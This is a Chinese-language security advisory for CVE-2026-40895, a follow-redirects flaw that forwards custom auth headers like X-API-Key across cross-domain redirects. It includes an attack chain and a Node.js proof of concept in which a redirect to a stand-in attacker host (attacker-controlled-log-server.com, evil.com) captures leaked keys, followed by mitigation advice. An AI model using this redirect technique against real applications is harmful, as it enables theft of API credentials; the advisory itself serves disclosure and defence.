IPBUF安全漏洞报告
English
CVE-2026-40895 CVSS 7.5 高危

CVE-2026-40895 follow-redirects跨域重定向信息泄露漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40895
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
follow-redirects

相关标签

信息泄露follow-redirectsNode.jsCWE-200HTTP重定向

漏洞概述

follow-redirects是Node.js的http和https模块的替代品,用于自动跟随重定向。在1.16.0版本之前,当HTTP请求跟随跨域重定向(如301/302/307/308)时,该模块仅会剥离Authorization、proxy-authorization和cookie头部。然而,任何自定义的身份验证头部(例如X-API-Key、X-Auth-Token、Api-Key、Token)都会被原样转发到重定向的目标地址。这导致敏感的认证信息可能泄露给第三方服务器,存在严重的信息泄露风险。

技术细节

该漏洞源于follow-redirects库在处理跨域重定向时的头部过滤逻辑不完善。通常,为了遵循安全最佳实践,跨域重定向不应携带敏感的认证凭证。虽然库代码中实现了针对标准认证头的剥离机制,但其使用的是正则表达式匹配,且仅覆盖了Authorization、Cookie等有限的几个标准头名称。攻击者可以诱导受害者的应用向攻击者控制的服务器发起请求,该服务器返回一个指向恶意或第三方域名的302重定向。由于库未过滤自定义API Key等头部,受害者的客户端会自动跟随重定向,并将原本发送给可信API的自定义认证头(如X-API-Key)附加在发给新域名的请求中。攻击者捕获该请求后即可获取受害者的敏感凭证,进而接管账户或冒充身份。

攻击链分析

STEP 1
步骤1
攻击者诱导受害者应用向攻击者控制的服务器发起请求,或利用应用中存在的可控URL参数。
STEP 2
步骤2
受害者的应用发送HTTP请求,其中包含敏感的自定义认证头部(如X-API-Key)。
STEP 3
步骤3
攻击者的服务器响应一个跨域重定向(HTTP 302),指向攻击者控制的另一个域名(如 evil.com)。
STEP 4
步骤4
存在漏洞的follow-redirects库自动跟随重定向,且未过滤自定义认证头,将X-API-Key转发到了 evil.com。
STEP 5
步骤5
攻击者在 evil.com 服务器日志中捕获并提取泄露的敏感凭证,完成攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const http = require('http'); const followRedirects = require('follow-redirects'); // Simulate a malicious server that redirects to a third party const maliciousServer = http.createServer((req, res) => { console.log('[Malicious Server] Received request with headers:', JSON.stringify(req.headers)); // Respond with a 302 redirect to an attacker-controlled domain res.writeHead(302, { 'Location': 'http://attacker-controlled-log-server.com/collect' }); res.end(); }); maliciousServer.listen(8080, () => { console.log('Malicious server listening on port 8080...'); // Victim client code using vulnerable follow-redirects const options = { hostname: 'localhost', port: 8080, path: '/api/data', method: 'GET', headers: { 'X-API-Key': 'SECRET_KEY_12345', // Custom auth header vulnerable to leakage 'Authorization': 'Bearer token123' // Standard header (will be stripped) } }; const req = followRedirects.http.request(options, (res) => { console.log(`[Client] Redirected to: ${res.responseUrl}`); res.on('data', (chunk) => {}); }); req.on('error', (e) => console.error(e)); req.end(); }

影响范围

follow-redirects < 1.16.0

防御指南

临时缓解措施
如果无法立即升级,建议在代码中禁用自动跟随重定向(设置followRedirects: false),或者在使用follow-redirects时利用beforeRedirect回调函数,手动清除所有包含敏感信息的自定义头部,确保跨域请求不携带X-API-Key、Token等关键凭证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表